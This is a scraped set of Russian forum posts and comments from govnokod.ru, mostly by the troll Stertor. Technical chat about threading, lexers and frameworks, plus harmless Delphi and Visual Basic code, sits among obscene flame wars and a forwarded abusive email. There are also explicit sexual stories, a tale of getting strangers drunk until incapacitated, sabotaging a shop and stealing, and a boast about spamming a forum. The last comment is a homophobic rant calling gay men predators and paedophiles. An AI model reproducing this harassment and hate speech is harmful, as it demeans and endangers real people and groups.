  352. В языках с gil вообще многопоточность фейковая: потоки могут одновременно читать из внешних ресурсов, а работать одновременно может лишь один поток. Потому в том же пистончике проще наплодить процессов (как это в юниксовом мире часто делали).
  353.  
  354. Вообще говоря для той задачи, что ты описал (100500 не связаных между собой заданий , которые нужно параллелить на разные ядра) кошерно использовать заточенные под это языки. Ерланг какой-нибудь.
  355.  
  356.  
  357. PS: время моё кончилось, прощай
  358.  
  359. ########## Stertor: comment http://govnokod.ru/13838#comment197191 ##########
  360. Stertor2 [21.09.2013 15:13:35]
  361. Пусть все увидят, какие вы уебки, посмеются над вашей тупостью.
  362.  
  363. Stertor2 [21.09.2013 15:12:31]
  364. пссс.. кидай.
  365.  
  366. Release [21.09.2013 15:12:04]
  367. Я ща переписон туда кину)
  368.  
  369. Stertor2 [21.09.2013 15:08:07]
  370. Бля, ты тупой? СОСАТЬ, ГОВОРЮ, БУДИШ?
  371.  
  372. Stertor2 [21.09.2013 15:06:19]
  373. http://govnokod.ru/13838
  374.  
  375. Stertor2 [21.09.2013 15:05:56]
  376. Только "да" или "нет".
  377.  
  378. Release [21.09.2013 14:02:33]
  379. Ты чушь полную несешь малой при том, что ты программировать вообще не умеешь и считаешь себя каким-то крутым, но где твое имя хоть раз прозвучало? Кто ты? Ты отброс общества, который завидует каждому встречному, потому что никогда такого не добьется.
  380. Человек, который себя уважает не когда не будет вести себя, как школьник, создавать два акка, писать мне через мой блог, обсирать самый популярный форум для программистов, где половина опытные люди в возрасте 30-50 и с опытом 10-20 лет..
  381. Прими это как суть, от твоих слов не кому плохо не будет, только таким образом ты уничтожаешь себя, как личность, при том, что ты в жизни, как я уверен, дохлый уебак, который всего боится и дома знает, что сидит за компом, обсирается и дрочит... Так что отсоси школотенок ебучий и узбагойся лошара 11-ти летняя!!!!
  382.  
  383. Stertor2 [21.09.2013 13:38:34]
  384. А теперь вернемся к тому, с чего начали: сосать, говорю, будешь?
  385.  
  386. Stertor2 [21.09.2013 13:37:58]
  387. Пиздец бля, я волосы порву на лобке )
  388. удаляйте, похуй. кому будет хуже?
  389.  
  390. Release [21.09.2013 13:15:42]
  391. Аахаххахахаа школотер ебучий. Кароче бан тебе скоро будет на всегда обеспечен, я с падре переговорю, я был не прав на счет тебя.
  392. Твои статьи удалены.
  393.  
  394. Stertor2 [21.09.2013 12:47:24]
  395. Нету скайпа (
  396. Может, поставишь teamviewer?
  397.  
  398. Release [21.09.2013 12:25:01]
  399. го в скайп петушок?
  400.  
  401. Stertor2 [21.09.2013 11:23:28]
  402. Бля, release, сделай мне минет.
  403.  
  404.  
  405. Сасай, лалка.
  406.  
  407. ########## Stertor: comment http://govnokod.ru/18291#comment289604 ##########
  408. >>> Человек может стать кем угодно.
  409. Но времени мало. Сорокапятилетний семейный человек не сможет измениться. Вероятность крайне мала.
  410.  
  411. > Потому что любая вещь за пределами твоего мира - ненужная тебе нафиг фигня. Окукливание.
  412. И это правильно.
  413.  
  414. > любая вещь за пределами твоего мира
  415. Разные вещи стоят на разном расстоянии. Но некоторые всегда будут за пределами.
  416. 1. Биология, химия, медицина, физика - всегда актуальны, всегда в нашем реальном мире. Работают над тем, чтобы помочь и улучшить мир.
  417. 2. История, информатика, педагогика - стоят на стыке реального и виртуального миров, из-за чего могут давать сбои. Например, изучение древних времён без соотнесения с действительностью и учёта опыта, преподавание ненужной фигни и написание ненужных факториалов на хаскеле. Но при правильном использовании служат реальному миру.
  418. 3. Математика, философия, религия - вне нашего мира. Иногда могут давать удобные модели, которые можно использовать в реальном мире.
  419.  
  420. > И за игрой познается. И в музыке познается.
  421. Ладно, договорились, они не бесполезны. Они вспомогательны дают аналогическую ступеньку, по которой можно подняться, изучая реальные объекты.
  422.  
  423. > Ты просто привык думать, что знаешь причины и следствия.
  424. Не привык, я же не тот мужик из матрицы.
  425.  
  426. Я только что прикоснулся к твоей тайне.
  427.  
  428. ########## Stertor: comment http://govnokod.ru/13841#comment197447 ##########
  429. Охх... Мне приснился очень странный сон.
  430. мне приснилось что я - опенок, растущий на опушке под березой. Недавно прошел дождь, и в углублении моей шляпки собралось уж порядочно росы. Усердно покачивая шляпкой чтобы стряхнуть влагу я вдруг услышал треск сучьев и нецензурную брань. Мимо пробежала лисица на трех ногах. Я перестал качать головой и прислушался. Я не сразу увидел, как надо мной вырастает тень. Медленно подняв глаза, я увидел как надо мной широко улыбаясь склонился огромный детина с хитрыми глазами.
  431. -Масленок, -сказал мужик, и захохотал. -Ты-масленок, я -грибник.
  432. -Честь имею. Я хотел поклониться но вовремя вспомнил, что ножка у меня тонкая и может обломиться, поэтому лишь слегка кивнул.
  433. -Ахах, масленок заговорил. Мужичина присел, уперев кулачища в бедра.
  434. Чего ты тут проседаешь? Пошли ко мне, у меня комп есть под ДОС, покажу.
  435. -Тоже мне, невидаль. Вчерашним днем живешь, дяденька. У меня вот селерон под винду!!! - соврал я. На самом деле в магнитофоне лопнул пассик и комп придя в негодность валялся где-то рядом в траве.
  436. -Ты что, прихуел бля? Маслята нынче борзые пошли, наххуй! Мужик осерчал.
  437. -Извини.
  438. -Придется тебе заявление писать по собственному желанию, отказаться от должности редактора местной лесной газеты.
  439.  
  440. ########## Stertor: comment http://govnokod.ru/13915#comment203645 ##########
  441. Виноват Серый волк. Слово "затраллил" здесь не совсем уместно, дорогой товарищ. Видите ли, я на долгое время превратил их сайт в спам-машину, но об этом позже. Троллинг мой можно посмотреть, почитав сообщения DarkAbyss. Теперь суть. Когда то я увлекался ГуляшBаsic-ом, и попал на их сайт. Троллем я тогда еще не был: это сейчас, видя, что человек упорот, я могу включать иногда тролля. Так вот, когда на форум приходит новый опытный участник, вышеупомянутый Никита Однороб из чувства зависти начинает его провоцировать или оскорблять, чтобы в дальнейшем тот получил бан, а модератор Петр закрывает глаза на его выходки, администратор же посещает сайт крайне редко. Сейчас этого в высшей степени морального урода Однороба назначили модератором - можете представить, что творится на сайте. Участники пытались создать опрос, чтобы по результатам голосования назначить более адекватного модератора, но опрос долго не просуществовал. Удивляет логика администратора: на сайте есть более адекватные люди, зачем давать админку неадекватному школьнику?
  442. Короче говоря, мне надоели их выходки и я решил говорить с ними на их же языке. Может, админ наконец-таки обратит внимание на содомию, что развели два этих уродца.
  443.  
  444. ########## Stertor: comment http://govnokod.ru/18333#comment289891 ##########
  445. Уже вечерело. Я заскочил в магазин, прикупив сигареты и несколько банок пива.
  446. Проходя дворами, я наткнулся на компанию пьяненьких спермотоксикозников и решил к ним присоединиться. Угостив их пивом я вполне сошёл за старшОго. Когда пиво кончилось, я проявил широкий жест; волею Бахуса наши стаканы вновь полны. Я накачивал их, пока они не перестали двигаться. Могут не оклематься? Мне плевать. Морщась от брезгливости, я слегка расстегнул штаны на одном овоще и стянул с него трусы, завернул их в целлофан и положил в карман пиджака - это пригодится для следующего квеста. Покинув моих пьяненьких друзей я зашёл в супермаркет. Убедившись в отвутствии рядом агентов, я продолжил диверсантскую деятельность: раздавил полсотни яиц, проколол пакет с соком и вылил на пол литров пять оливкового масла. Ваааау. Скользко! Теперь супермаркет может конкурировать с Ледовым дворцом, несомненно, прибыль хозяев возрастёт. Я быстро вышел. Сев в трамвай, я незаметно достал нижнее белье и подкинул его в сумку сидевшей рядом дамочки, одновременно разбогатев на пятьсот рублей. По приезде домой к ней будет много острых вопросов, но меня это никак не касается. Я вышел на следующей.
  447.  
  448. ########## Stertor: comment http://govnokod.ru/18291#comment289658 ##########
  449. Комменты удобны, как и весь сайт.
  450.  
  451. Так про что ты спрашивал? Про лексеры и парсеры?
  452.  
  453. Лексер работает с т.н. регулярной грамматикой или грамматикой третьего уровня в иерархии Хомски (да-да, когда ты пишешь регулярное выражение ты по сути создаешь лексер).
  454.  
  455. Для релизации лексера достаточно конечного автомата (вспоминаем что регексы это есть конечные автоматы -- НКА или ДКА), то есть хуйни которая просто переходит из одного состояния в другое, память ей не нужна.
  456.  
  457. Лексер разбивает текст на лексемы (каждая лексема соответствует токену). Например у тебя есть текст на пистоне: "if petuh: print kukarekoo ". Автомат крутится до тех пор, пока не встретит первый пробел и понимает что он вычленил токен "if". Потом он крутится пока не вычленит питуха, и тогда он поймет что лексема petuh это токен VARIABLE. И так он разбирает весь документ представляя его в ввиде пачки токенов.
  458.  
  459. Он не понимает что тело функции находится внутри функции, а внутри этого тела есть еще цикл итд. Он не имеет стека чтобы понимать что он внутри функции, и потому токены у него выложены не в дерево, а тупо рядком.
  460.  
  461. Он работает быстро, пишется легко, может подсветить ключевые слова (if например) но явно не может построить дерево программы.
  462.  
  463. ПРДЛЖЕНИЕ СЛЕДУЕТ
  464.  
  465. ########## Stertor: comment http://govnokod.ru/18312#comment289655 ##########
  466. Любой программист так или иначе использует какие-то фреймворки. Никто на асме же не пишет, правда?
  467.  
  468. Так что во фреймворках конечно же нет ничего плохого, особенно когда им 5+ лет, они активно развиваются (последней версии не больше пары лет), у них много серьезных коммитеров, хорошая документация, большое дружелюбное коммьюнити итд.
  469.  
  470. Такие фреймворки в тысячу раз лучше чем самописные квадратноколёсные велосипеды от школолы, которая тупо ниасилила фреймворк, потому что у школолы больше тех концепций в голове не помещается.
  471.  
  472. И начинает школоло пилить свой ORM с SQL injection, свой шаблонизатор с XSS, свой тредпул с плодащимися висящими потоками и гонками, реализует спагетти-логику вместо готовых EIP итд итп.
  473. Прежде чем пилить свое, _всегда_ надо узнать: а вдруг ты нихуя не первый кто с этим столкнулся.
  474.  
  475. Другой вопрос что фреймворк превращается в голден хаммер, и тоже самое школоло осилив ЕДИНСТВЕННЫЙ в жизни фреймворк начинает пихать его куда не попадя, и пишет десктопные приложения на RoR (потому что больше ничего не знает) или пытается макросом на VBA под Outlook рассылки рассылать (по той же причине).
  476.  
  477. Это, понятное дело, рак. Но фреймворки не виноваты. Виновато школоло.
  478.  
  479. ########## Stertor: comment http://govnokod.ru/13363#comment187531 ##########
  480. История такова.
  481. Некое ональное школоло в каком-то веке совершило половой акт с клавиатурой, результатом чего явилось появление на свет трояна. Автор назвал свое детище "мокрые писечки.jpg.exe" и подбросил его на файлообмениик, где в комментах вклеил всем бороду, в надежде, что какой нибудь тупорылый спермотоксикозник скачает его в целях удовлетворения своих низменных потребностей. Так и случилось. При запуске троян срочно захотел кого-нибудь посношать и полез ручкой в трусы (а кто я, собственно говоря, по половому признаку?) но ничего не обнаружил и полез искать недостающий орган в шефоньер32. В шефоньере тоже не нашлось ничего подходящего, тогда прога выдала рантайм еррор и скончалась в конвульсиях. Спермотоксикозник вульгарно улыбнулся и выбросил ее труп в мусорку. В результате на солнце произошел сильнейший выброс радиации а океан вышел из берегов, затопив близлежашую селитебную зону. (почитайте об этом рассказ Синклера Льюиса -"Котенок и звезды" прим.Stertor). Автор трояна, и тот, кто им пытался воспользоваться остались неудовлетворенными. А ведь во всем виноват злой волк!
  482.  
  483. ########## void_main: comment http://govnokod.ru/20487#comment343652 ##########
  484. Проходя по коридорам, она приводила студентов в трепет, парализуя их тяжелым, пронизывающим взглядом. Встретиться с ней в коридоре было очень, очень дурным знаком. Жизнь студентов была целиком в ее руках. По воле доброй судьбы, я с ней почти никогда не пересекался, но боялся очень. Иногда, сквозь сон, я видел, как голова Потогон, горя глазами подлетает к нашему окну на 6 этаже, пристально всматривается, и изрекает сквозь зубы: "я вам устрою на экзамене, погодите...", и после этого улетала, возможно, чтобы осмотреть, чем занимаются другие студенты. Иногда, по вечерам, мы с сожителем практиковали оральные ласки. Однополого влечения не было, мы делали это только от скуки. Активом был только он и это не обсуждалось: "Я тебя не заставляю это делать. Не хочешь - иди на хуй". Окна общаги выходили на больничный корпус. Я много раз замечал, как больные вглядываются в наши окна. Почему-то палаты для тяжелобольных всегда находятся на самых высоких этажах. Занавеска была жиденькой, поэтому мы вытребовали у комендантши большой платяной шкаф - это было нужно для конспирации.
  485.  
  486. ########## voodoodal16: post http://govnokod.ru/21294 ##########
  487. Получить список компьютеров, подключенных к сети.
  488.  
  489. Святослав Ушаков
  490. дата публикации 15-05-2000 00:00
  491. Версия для печати
  492. unit NetUtils;
  493. interface
  494. uses Windows, Classes;
  495. function GetContainerList(ListRoot:PNetResource):TList; Type
  496. {$H+}
  497. PNetRes = ^TNetRes;
  498. TNetRes = Record
  499. dwScope : Integer;
  500. dwType : Integer;
  501. dwDisplayType : Integer;
  502. dwUsage : Integer;
  503. LocalName : String;
  504. RemoteName : String;
  505. Comment : String;
  506. Provider : String;
  507. End;
  508. {H-}
  509.  
  510. implementation
  511. uses SysUtils;
  512. type
  513. PnetResourceArr = ^TNetResource; {TNetResource - это запись,
  514. эквивалентная TNetRes, за исключением того, что
  515. вместо типов string там типы PChar. }
  516.  
  517. function GetContainerList(ListRoot:PNetResource):TList;
  518. {возвращает список сетевых имён с подуровня ListRoot, каждый
  519. элемент списка TList - это PNetRes, где поле RemoteName определяет
  520. соответственно сетевое имя элемента списка. Если ListRoot=nil, то
  521. возвращается самый верхний уровень типа:
  522. 1. Microsoft Windows Network
  523. 2. Novell Netware Network
  524. Чтобы получить список доменов/рабочих групп сети Microsoft, нужно
  525. вызвать эту функцию второй раз, передав ей в качестве параметра,
  526. соответствующий элемент списка, полученного при первом её вызове.
  527. Чтобы получить список компьютеров домена - вызвать третий раз...}
  528. {Единственное, я не знаю как узнать имя текущего домена.}
  529. Var
  530. TempRec : PNetRes;
  531. Buf : Pointer;
  532. Count,
  533. BufSize,
  534. Res : DWORD;
  535. lphEnum : THandle;
  536. p : PNetResourceArr;
  537. i : SmallInt;
  538. NetworkList : TList;
  539. Begin
  540. NetworkList := TList.Create;
  541. Result:=nil;
  542. BufSize := 8192;
  543. GetMem(Buf, BufSize);
  544. Try
  545. Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
  546. RESOURCEUSAGE_CONTAINER{0}, ListRoot,lphEnum);
  547. {в результате получаем ссылку lphEnum}
  548. If Res <> 0 Then Raise Exception(Res);
  549. Count := $FFFFFFFF; {требуем выдать столько записей в
  550. список, сколько есть}
  551. Res := WNetEnumResource(lphEnum, Count, Buf, BufSize);
  552. {в буфере Buf - списочек
  553. в виде массива указателей на структуры типа TNetResourceArr
  554. а в Count - число этих структур}
  555. If Res = ERROR_NO_MORE_ITEMS Then Exit;
  556. If (Res <> 0) Then Raise Exception(Res);
  557. P := PNetResourceArr(Buf);
  558. For I := 0 To Count - 1 Do
  559. Begin //Требуется копирование из буфера, так как он
  560. New(TempRec); //действителен только до следующего вызова функций группы
  561. WNet
  562. TempRec^.dwScope := P^.dwScope;
  563. TempRec^.dwType := P^.dwType ;
  564. TempRec^.dwDisplayType := P^.dwDisplayType ;
  565. TempRec^.dwUsage := P^.dwUsage ;
  566. TempRec^.LocalName := StrPas(P^.lpLocalName); {имеются ввиду вот эти указатели}
  567. TempRec^.RemoteName := StrPas(P^.lpRemoteName); {в смысле - строки PChar}
  568. TempRec^.Comment := StrPas(P^.lpComment);
  569. TempRec^.Provider := StrPas(P^.lpProvider);
  570. NetworkList.Add(TempRec);
  571. Inc(P);
  572. End;
  573. Res := WNetCloseEnum(lphEnum);
  574. {а следующий вызов - вот он!}
  575. If Res <> 0 Then Raise Exception(Res);
  576. Result:=NetWorkList;
  577. Finally
  578. FreeMem(Buf);
  579. End;
  580. End;
  581. end.
  582.  
  583. ---------- description ----------
  584. Уебан, блядь.
  585.  
  586. ########## Stertor: comment http://govnokod.ru/13652#comment193301 ##########
  587. Вот что мне прислал сегодня на почту Стилет - естественно, с левого адреса. Делаем выводы об этом человеке.
  588.  
  589. Привет, бляццкий трипиздобель!
  590. Узнал своего корефанера с говнокода?
  591. Ну того, кому ты... А впрочем не важно.
  592. Слыш, уебан, ты какой сукой рожден был? Она из рода шакаловых?
  593. Я просто пытаюсь тут составить твое ебучее древо родственничков, да
  594. что-то кроме навозников никто и не попадается.
  595. Ты передай своей охуевшей мамаше, что она зря тебя в канаву не выкинула,
  596. наверное и сама жалеет об этом, я ее понимаю, такой шлак из клоаки
  597. извергнуть. Наверное это было до одури отвратительно.
  598. Скажи а ты с рождения такие слова знал? Ну да, те что писал. Ты угадал.
  599. Я просто даже от последнего пидроцефала такого не слышал. Да и
  600. пидроцефалов то не видел. Ты наверное из их рода? Я угадал?
  601.  
  602. Ну ладно, хуй тебе в кишку и П в КПН. Мне тут короче на электрон бежать
  603. пора. Ты отпишись, как жив как здоров. Ублюдками еще ли не разродился...
  604. Ну и все в таком плане. Ты давай не теряйся. Пообщаемся. Я на тебе
  605. докторскую по психологии сделать смогу. На тему "Охуевший долбоеб.
  606. Признаки упоротости."
  607.  
  608.  
  609. ########## doctor_stertor: post http://govnokod.ru/23015 ##########
  610. Как-то раз, когда я по-быстрому снимал стресс в кабинке лифта, я не успел обтереть пальцы и впопыхах облизнул их, ловя себя на мысли, что мне понравился вкус.
  611. Уже позднее, я сознательно облизал пальцы, потом ещё и ещё. Вскоре, мне захотелось отведать чужого нектара, что я и сделал.
  612. Мой патрон после обозвал меня гандоном и свалил, пригрозив убить, если я ещё раз позвоню. -Лети, лети моя голуба, - подумал я. Парней много, ты не последняя моя жертва.
  613. Я стал делать это всё чаще, и вот - от меня уже отворачиваются однокурсники, мотивируя это якобы, "странным запахом" у меня изо рта, идут слухи,
  614. парни, брезгливо косясь на мою расстегнутую ширинку и белесые пятна около нее, подают руку, точнее, три пальца (хотя не далее чем вчера, они, жмурясь от ложного стыда, всем
  615. скопом сували свои члены в мой "вонючий" рот - куда только запропастилась брезгливость?).
  616. Я допишу позже, ибо звонит мой сладкий; мне нужно идти, промывать анус.
  617.  
  618. ---------- description ----------
  619. Преамбула.
  620. Написал страйко на деревню, с просьбой забанить ботов. Страйко подумал и... удалил пост.
  621.  
  622. Не ты - поехавший, не он - поехавший,
  623. Это я, я поехавший!...
  624.  
  625. ########## Stertor: post http://govnokod.ru/13274 ##########
  626. [QUOTE]очередной пациэнт с раком мозга. призываю тролей для проведения лоботомии.[/QUOTE]
  627.  
  628. Это вопрос или утверждение?
  629.  
  630. Если Вы не уверены, Вам сюда:
  631. [url]http://www.kaschenko.ru/ShMuZ/viewforum.php?f=72&sid=42e3532a0f5c9559bbd57b3b49f40bdb[/url]
  632.  
  633. Если же уверены, сюда:
  634. [url]http://za-hodi.narod.ru/[/url]
  635.  
  636. То, что тебе дали в руки банхаммер, еще не значит, что ты бог. Это говорит лишь о том, что админ тебе доверяет.
  637. А судить о том, оправдываешь ли ты его доверие, можно исходя из того, что общее впечатление от сайта крайне негативно.
  638. Ваш форум напоминает медленно загнивающее болото.
  639. Я не увидел тут абсолютно ничего, что бы хоть как то отличало его в лучшую сторону от остальных сайтов-помоек.
  640. Как говорится, каков поп, таков и приход.
  641.  
  642. Админ же - вообще уникальная личность. На аве у него написано "Злобный админ".
  643. Это как бы предполагает издевательство над участниками. Но кто в здравом уме будет регистрироваться, чтобы терпеть издевательства админов?
  644. Только любители садо-мазо. А что, если мне не нравится садо - мазо? В таком случае, получается, что мне его навязывают. Делайте выводы, товарищи.
  645.  
  646. ---------- description ----------
  647. Мастер класс нанотроллинга. Меня до сих пор не забанили )
  648.  
  649. http://forum.boolean.name/showthread.php?p=262357#post262357
  650.  
  651. ########## Stertor: comment http://govnokod.ru/13841#comment197448 ##########
  652. Я хотел возмутиться - какой же я писака?! , но мужик меня перебил: ты-масленок, я-грибник, не забывай. - ловко подрезал меня и положил в кузовок.
  653. Скоро мы пришли домой, меня вытащили из кузова и посадили за комп.
  654. -Какая примитивщина, паутина тут у тебя. Вдруг я увидел себя в зеркале. Лицо у меня почему-то было в странной пыли.
  655. -Кокаинщик?
  656. Я еще долго болтал, жал f8, подкалывал мужика. Он был занят своими делами и казалось не замечал меня.
  657. -А у тебя винда левая! Ахахахах...
  658. Мужик остолбенело замер, потом медленно повернулся ко мне и широко улыбнулся.
  659. -Масленок...
  660. [...]
  661. Ловкие руки вымыли меня, очистили от кожицы и уложили на тарелку просохнуть.
  662. Эй, а кто вытирать будет?! Я не вижу у вас осиновых листьев. Я ведь так и простудиться могу.
  663. -Перебьешься.
  664. [...]
  665. Потом меня сварили с лучком и специями - мы еще долго спорили, какой асм лучше. Лук был приверженцем тасма, а я - масма, специи скромно помалкивали - они кодили только на кубейсике. Потом меня подали на тарелке со сметаной.
  666. Я смутно помню, как мужик долго тыкал мне вилкой в харю...
  667.  
  668. ########## doctor_stertor: post http://govnokod.ru/23882 ##########
  669. Как Вы все могли заметить, с каждой реинкарнацией я веду себя всё более нагло и разнузданно... Но это мнимое впечатление.
  670. Засыпая после своих подвигов, я каждый раз вижу один и тот же страшный, мистический сон:
  671. Ночь. Я, как обычно, сижу за компьютером и спамлю. Вдруг я слышу шаги на лестнице, которые стихают у моей двери...
  672. Долгий и ровный, словно ствол бронебойного орудия, звонок в дверь... Я на цыпочках подхожу к двери, пытаюсь заглянуть в глазок. В подъезде темно.
  673. Чуть погодя я открываю дверь - что ж? На пороге стоит Антон Каменщиков в галстуке и белой сорочке, очень бледный, в чёрных очках.
  674. Я в недоумении начинаю пятиться вглубь, но тут Антон снимает черные очки, - и о ужас! Вместо глаз у него красные лазерные линзы.
  675. -Вы переполнили мне дисковую квоту, -вдруг изрекает он, голос словно звучит из динамика. Дальше всё словно в тумане.
  676. Ко мне тянутся металлические лапы, но тут я просыпаюсь от сильного толчка:
  677.  
  678. -Опять диван обоссал, выродок? Глаза бы мои тебя не видели. Простыню сам будешь стирать!
  679.  
  680. ---------- description ----------
  681. ...
  682.  
  683. ########## Stertor: comment http://govnokod.ru/15989#comment290076 ##########
  684. День гостя закончился?
  685.  
  686. aiohttp.request('GET', url)
  687.  
  688. А что-нибудь посложнее? get, post с параметрами?
  689.  
  690. >Ну если не нужно синхронизировать их между собой то да, а если нужно?
  691. Выстраивать архитектуру так, чтобы они друг с другом не взаимодействовали. Алсо если у тебя больше 1 потока (тредпул), то тебе и с асинком придется синхронизировать. Судя по твоим рассуждениям эту тему ты толком не знаешь.
  692.  
  693. >Если речь идет о настоящих потоках (про которые знает ОС, а не про всякие легкие, зеленые итд) то щедулер операционки может и охуеть от переключения контекста. Да и каждый поток все таки тянет за собой структуры в памяти ядра, а она тоже не резиновая.
  694. проксичекер стартовал 400 потоков (было видно в таскменеджере), нагрузки не было видно даже на 3м пне.
  695.  
  696. >Вообще говоря для той задачи, что ты описал (100500 не связаных между собой заданий , которые нужно параллелить на разные ядра) кошерно использовать заточенные под это языки. Ерланг какой-нибудь.
  697. Я параллеленье на ядра как раз нигде не упоминал, речь шла про проги которые обычно в простое.
  698.  
  699. ########## Stertor: post http://govnokod.ru/13752 ##########
  700. Dim ll As Byte
  701. Private Sub Command1_Click() ' При нажатие на кнопку "Кодировка"
  702. For i = 1 To Len(Text1) Step 1 ' Читаем тест 1 от начало до канца с шагом 1
  703. l = Asc(Mid(Text1, i, 1))
  704. Text2.Text = Text2 & Len(l) & Asc(Mid(Text1, i, 1)) ' записываем код в text
  705. 2
  706. ' l = Asc(Mid(Text1, i, 1)) и Len(l) - это для того что б знать сколько
  707. чисел у закодированого символа. Это нам нужно для раскодировки
  708. Next i ' конец чтению текста 1
  709. End Sub
  710. Private Sub Command2_Click() ' При нажатии кнопки "Раскодировка"
  711. ll=1 ' пишим начало от счёта
  712. timer1.enabled=true ' включаем таймер
  713. End Sub
  714. Private Sub Text1_Change()
  715. Text2 = "" ' сдесь при изменение текста 1 текст 2 = "" (вы можете этого и не
  716. делать)
  717. End Sub
  718. Private Sub Text2_Change()
  719. Text4 = Text2 " тут при изменение кода в тексте 2 этот код копируеться в
  720. текст4
  721. End Sub
  722. Private Sub Text4_Change()
  723. Text3 = "" ' сдесь при изменение текста 4 текст 3 = "" (вы можете этого и
  724. не делать)
  725. End Sub
  726. Private Sub Timer1_Timer()
  727.  
  728. For i2 = 1 To 255 Step 1
  729. If Mid(Text4, ll, 1) = "1" Or Mid(Text4, ll, 1) = "2" Or Mid(Text4, ll, 1) =
  730. "3" Then If Val(Mid(Text4, ll + 1, Mid(Text4, ll, 1))) = i2 Then Text3 =
  731. Text3 & asc1(Val(Mid(Text4, ll + 1, Mid(Text4, ll, 1)))): ll = ll +
  732. Val(Mid(Text4, ll, 1)) + 1 ' сначало сравниваем числа 1,2,3 с кодом , эти
  733. чилса обозначают из скольки символов состоит следующий код символа, потом мы
  734. читаем и сравниваем код символа с перечисленым кодом , дальше мы записываем
  735. каждую прочитанную букву при помощи моей функцией она записана в модуле
  736.  
  737. Next i2
  738. If ll > Len(Text4) Then Timer1.Enabled = False ' если ll станет больше числа
  739. символов в тексте, тогда таймер выключаеться
  740. End Sub
  741.  
  742. Select Case ch
  743. Case 48: asc1 = "0": Case 49: asc1 = "1": Case 50: asc1 = "2": Case 51: asc1
  744. = "3": Case 52: asc1 = "4": Case 53: asc1 = "5": Case 54: asc1 = "6": Case
  745. 55: asc1 = "7": Case 56: asc1 = "8": Case 57: asc1 = "9"
  746. Case 65: asc1 = "A": Case 66: asc1 = "B": Case 67: asc1 = "C": Case 68: asc1
  747. = "D": Case 69: asc1 = "E": Case 70: asc1 = "F": Case 71: asc1 = "G": Case
  748. 72: asc1 = "H": Case 73: asc1 = "I": Case 74: asc1 = "J": Case 75: asc1 =
  749. "K": Case 76: asc1 = "L": Case 77: asc1 = "M": Case 78: asc1 = "N": Case 79:
  750. asc1 = "O": Case 80: asc1 = "P": Case 81: asc1 = "Q": Case 82: asc1 = "R":
  751. Case 83: asc1 = "S": Case 84: asc1 = "T": Case 85: asc1 = "U": Case 86: asc1
  752. = "V": Case 87: asc1 = "W": Case 88: asc1 = "X": Case 89: asc1 = "Y": Case
  753. 90: asc1 = "Z"
  754. Case 97: asc1 = "a": Case 98: asc1 = "b": Case 99: asc1 = "c": Case 100:
  755. asc1 = "d": Case 101: asc1 = "e": Case 102: asc1 = "f": Case 103: asc1 =
  756. "g": Case 104: asc1 = "h": Case 105: asc1 = "i": Case 106: asc1 = "j": Case
  757. 107: asc1 = "k": Case 108: asc1 = "l": Case 109: asc1 = "m": Case 110: asc1
  758. = "n": Case 111: asc1 = "o": Case 112: asc1 = "p": Case 113: asc1 = "q":
  759. Case 114: asc1 = "r": Case 115: asc1 = "s": Case 116: asc1 = "t": Case 117:
  760. asc1 = "u": Case 118: asc1 = "v": Case 119: asc1 = "w": Case 120: asc1 =
  761. "x": Case 121: asc1 = "y": Case 122: asc1 = "z"
  762. Case 192: asc1 = "А": Case 193: asc1 = "Б": Case 194: asc1 = "В": Case 195:
  763. asc1 = "Г": Case 196: asc1 = "Д": Case 197: asc1 = "Е": Case 168: asc1 =
  764. "Ё": Case 198: asc1 = "Ж": Case 199: asc1 = "З": Case 200: asc1 = "И": Case
  765. 201: asc1 = "Й": Case 202: asc1 = "К": Case 203: asc1 = "Л": Case 204: asc1
  766. = "М": Case 205: asc1 = "Н": Case 206: asc1 = "О": Case 207: asc1 = "П":
  767. Case 208: asc1 = "Р": Case 209: asc1 = "С": Case 210: asc1 = "Т": Case 211:
  768. asc1 = "У": Case 212: asc1 = "Ф": Case 213: asc1 = "Х": Case 214: asc1 =
  769. "Ц": Case 215: asc1 = "Ч": Case 216: asc1 = "Ш": Case 217: asc1 = "Щ": Case
  770. 218: asc1 = "Ъ": Case 219: asc1 = "Ы": Case 220: asc1 = "Ь": Case 221: asc1
  771. = "Э": Case 222: asc1 = "Ю": Case 223: asc1 = "Я"
  772. Case 224: asc1 = "а": Case 225: asc1 = "б": Case 226: asc1 = "в": Case 227:
  773. asc1 = "г": Case 228: asc1 = "д": Case 229: asc1 = "е": Case 184: asc1 =
  774. "ё": Case 230: asc1 = "ж": Case 231: asc1 = "з": Case 232: asc1 = "и": Case
  775. 233: asc1 = "й": Case 234: asc1 = "к": Case 235: asc1 = "л": Ca
  776.  
  777.  
  778.  
  779. и еще до кучи символов... )
  780.  
  781. ---------- description ----------
  782. Суровое школоло на службе КГБ.
  783.  
  784. Кодирование и раскодирование текста, Урок 197 чать 2
  785. http://vbbook.ru/visual-basic/kodirovanie-i-raskodirovanie-teksta-yrok-197-chat-2/
  786.  
  787. ########## Stertor: comment http://govnokod.ru/13714#comment194831 ##########
  788. Специалисты уже провели анализ программы и отметили некоторые интересные особенности её работы, в томи числе использование процесса ping в качестве таймера.
  789.  
  790. Уникальная программа Алексея Бабушкина привлекла внимание СМИ. Интервью с одарённым студентом транслировал канал телевидения «Россия-1» (см. видео ниже). По мнению некоторых комментаторов, талант студента можно сравнить с талантом знаменитого школьника Дениса Попова из Нижнего Тагила, который несколько лет назад в одиночку разработал собственный дистрибутив операционной системы BolgenOS на базе Ubuntu.
  791.  
  792. Алексей Бабушкин в одном из интервью сказал, что раньше был хакером, и начинал с написания простых вирусов-«кроликов», но со временем решил применить знания для создания полноценного антивируса. Сейчас Алексей работает над новым алгоритмом архивации, который способен сжимать файлы в несколько миллионов раз, так что из фильма размером 2 гигабайта получается архив размером всего 2-3 килобайта.
  793.  
  794. ########## Stertor: comment http://govnokod.ru/17991#comment282992 ##########
  795. Не видал я на своём веку "милых котят" из числа голубых (речь идёт не о "балующихся", а вполне гомосексуальных парнях, осознающих это). Агрессивные, изворотливые существа. Хладнокровные, лживые, испорченные до мозга костей. Многие умело маскируются, производя вполне благопристойное впечатление. Вы можете общатьсяс человеком, и он будет Вам мило улыбаться, несмотря на то, что за полчаса до этого сосал хуй, лизал/подставлял кому-то жопу; с их точки зрения - это не извращение, это норма. Надеяться на их благопристойность, как минимум, наивно. Этот человек перешагнул через все мыслимые и немыслимые запреты и правила (возможно, поэтому среди них столько гениев?..) С ними нельзя иметь никаких дел. Мальчиков от них нужно прятять в сейф, так как от гея до педофила - один микрон. Насилие - редкость. Действуют, как правило, лаской, стараются очаровать. Самое страшное, если пидор - начальник, отрицательный фактор в данном случае - непредсказуемость.
  796.  
